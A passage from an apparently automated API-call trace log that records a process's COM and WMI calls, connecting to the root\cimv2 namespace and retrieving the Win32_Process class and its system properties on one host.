Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0126.970] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.970] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b483510) returned 0x0 [0126.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483510, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0126.970] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b483510, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4837b0) returned 0x0 [0126.971] WbemLocator:IUnknown:Release (This=0x1b483510) returned 0x0 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4837b0) returned 0x0 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0126.971] WbemLocator:IUnknown:AddRef (This=0x1b4837b0) returned 0x3 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0126.971] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0126.971] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0126.971] WbemLocator:IUnknown:Release (This=0x1b4837b0) returned 0x2 [0126.971] WbemLocator:IUnknown:Release (This=0x1b4837b0) returned 0x1 [0126.971] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0126.971] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0126.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4837b0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4837b0) returned 0x0 [0126.971] WbemLocator:IUnknown:AddRef (This=0x1b4837b0) returned 0x3 [0126.971] WbemLocator:IUnknown:Release (This=0x1b4837b0) returned 0x2 [0126.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0126.972] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0126.972] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.972] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b483570) returned 0x0 [0126.972] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b483570, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4ce9e0) returned 0x0 [0127.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce9e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511870) returned 0x0 [0127.123] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511870, pProxy=0x1b4ce9e0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0127.123] WbemLocator:IUnknown:Release (This=0x1b511870) returned 0x1 [0127.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce9e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b5118b8) returned 0x0 [0127.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce9e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511870) returned 0x0 [0127.123] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511870, pProxy=0x1b4ce9e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.123] WbemLocator:IUnknown:Release (This=0x1b511870) returned 0x2 [0127.123] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x1 [0127.123] CoTaskMemFree (pv=0x1b461c70) [0127.123] WbemLocator:IUnknown:Release (This=0x1b483570) returned 0x0 [0127.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce9e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b5118b8) returned 0x0 [0127.123] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0127.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0127.126] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce9e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0127.173] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0127.173] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0127.174] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0127.174] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511798) returned 0x0 [0127.174] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511798, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.174] WbemLocator:IUnknown:Release (This=0x1b511798) returned 0x3 [0127.174] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0127.174] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0127.174] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511880) returned 0x0 [0127.174] WbemLocator:IRpcOptions:Query (in: This=0x1b511880, pPrx=0x1b5118b8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0127.174] WbemLocator:IUnknown:Release (This=0x1b511880) returned 0x3 [0127.174] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0127.175] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0127.175] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0127.175] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4ce9e0) returned 0x0 [0127.175] WbemLocator:IUnknown:AddRef (This=0x1b4ce9e0) returned 0x4 [0127.175] WbemLocator:IUnknown:Release (This=0x1b4ce9e0) returned 0x3 [0127.175] WbemLocator:IUnknown:Release (This=0x1b4ce9e0) returned 0x2 [0127.175] SysStringLen (param_1=0x0) returned 0x0 [0127.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0127.175] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0127.175] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.175] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0127.175] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0127.175] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b5118b8) returned 0x0 [0127.176] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0127.176] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0127.176] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0127.176] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0127.176] IWbemServices:GetObject (in: This=0x1b4ce9e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d8a30, ppCallResult=0x0) returned 0x0 [0127.199] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0127.200] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0127.200] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0127.200] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0127.200] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0127.200] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0127.200] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.201] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4836f0) returned 0x0 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4836f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0127.202] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4836f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4afd60) returned 0x0 [0127.202] WbemDefPath:IUnknown:Release (This=0x1b4836f0) returned 0x0 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4afd60) returned 0x0 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0127.202] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4839f0) returned 0x0 [0127.203] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4839f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.203] WbemDefPath:IUnknown:Release (This=0x1b4839f0) returned 0x3 [0127.203] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0127.203] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0127.203] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0127.203] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0127.203] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0127.203] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4afd60) returned 0x0 [0127.203] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0127.203] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0127.203] WbemDefPath:IWbemPath:SetText (This=0x1b4afd60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.203] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0127.204] SysStringByteLen (bstr="XC64ZB") returned 0xc [0127.204] SysStringByteLen (bstr="XC64ZB") returned 0xc [0127.204] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0127.204] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0127.204] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0127.204] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0127.204] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0127.204] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0127.204] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0127.204] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0127.204] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0127.204] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.205] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4837f0) returned 0x0 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4837f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, 